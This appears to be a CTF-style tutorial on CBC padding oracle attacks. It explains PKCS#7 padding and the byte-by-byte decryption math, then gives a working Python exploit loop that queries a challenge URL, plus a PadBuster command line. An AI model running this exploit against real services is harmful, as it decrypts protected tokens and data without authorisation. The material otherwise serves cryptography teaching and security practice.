CBC Padding Oracle Attacks
Decrypt AES/DES ciphertexts and forge arbitrary encrypted messages by exploiting PKCS#7 padding validation errors in CBC mode.
What is a Padding Oracle Attack?
In block cipher encryption operating in Cipher Block Chaining (CBC) mode, plaintext is divided into fixed block sizes (e.g., 16 bytes for AES). If the final plaintext block is shorter than the block size, padding (typically PKCS#7) is appended.
A Padding Oracle exists when a server decrypts a ciphertext and reveals (either explicitly via an error message or implicitly via HTTP status codes / timing) whether the decrypted plaintext has valid PKCS#7 padding.
Attacker ---> [ Modifies Ciphertext Block C_{i-1} ] ---> Server Decrypts Block C_i
|
Attacker <--- [ Returns "Padding Valid" / "Padding Invalid" ] -+
PKCS#7 Padding Rules
For a block size of 16 bytes:
- If 1 byte of padding is needed:
... 01 - If 2 bytes are needed:
... 02 02 - If 3 bytes are needed:
... 03 03 03 - If a full block is padded (16 bytes):
10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10
Decryption Attack Algorithm
During CBC decryption:
$$P_i = D_k(C_i) \oplus C_{i-1}$$
Where $P_i$ is the plaintext block, $C_i$ is the target ciphertext block, $C_{i-1}$ is the preceding ciphertext block (or IV for the first block), and $D_k$ is the block decryption function.
By modifying the last byte of $C_{i-1}$ (let’s call it $C’{i-1}[15]$) and sending $(C’{i-1}, C_i)$ to the oracle:
- Iterate $C’_{i-1}[15]$ from
0x00to0xFF. - When the oracle responds with “Padding Valid”, the last byte of the intermediate decrypted block $I_i[15]$ satisfies: $$I_i[15] \oplus C’{i-1}[15] = 0x01 \implies I_i[15] = C’{i-1}[15] \oplus 0x01$$
- Reconstruct the original plaintext byte: $$P_i[15] = I_i[15] \oplus C_{i-1}[15]$$
- Repeat this byte by byte from right to left (updating forced padding values to
0x02,0x03, etc.) to decrypt the full block without knowing the AES key!
Automated Exploit with Python / PyCryptodome
import requests
from pwn import log
# Example padding oracle exploit loop template
TARGET_URL = "http://challenge.ctf/decrypt"
def check_padding(ciphertext_hex):
res = requests.get(f"{TARGET_URL}?token={ciphertext_hex}")
return "Invalid padding" not in res.text
def decrypt_block(prev_block, target_block):
intermediate = bytearray(16)
plaintext = bytearray(16)
modified_prev = bytearray(16)
for byte_pos in range(15, -1, -1):
padding_val = 16 - byte_pos
for i in range(byte_pos + 1, 16):
modified_prev[i] = intermediate[i] ^ padding_val
found = False
for candidate in range(256):
modified_prev[byte_pos] = candidate
test_ct = (modified_prev + target_block).hex()
if check_padding(test_ct):
intermediate[byte_pos] = candidate ^ padding_val
plaintext[byte_pos] = intermediate[byte_pos] ^ prev_block[byte_pos]
found = True
break
if not found:
raise Exception(f"Failed to find byte at position {byte_pos}")
return bytes(plaintext)
Automated Tools
PadBuster
padbuster http://challenge.ctf/index.php?token=ENC_HEX ENC_HEX 16 -encoding 0
Poracle (Python framework)
pip install poracle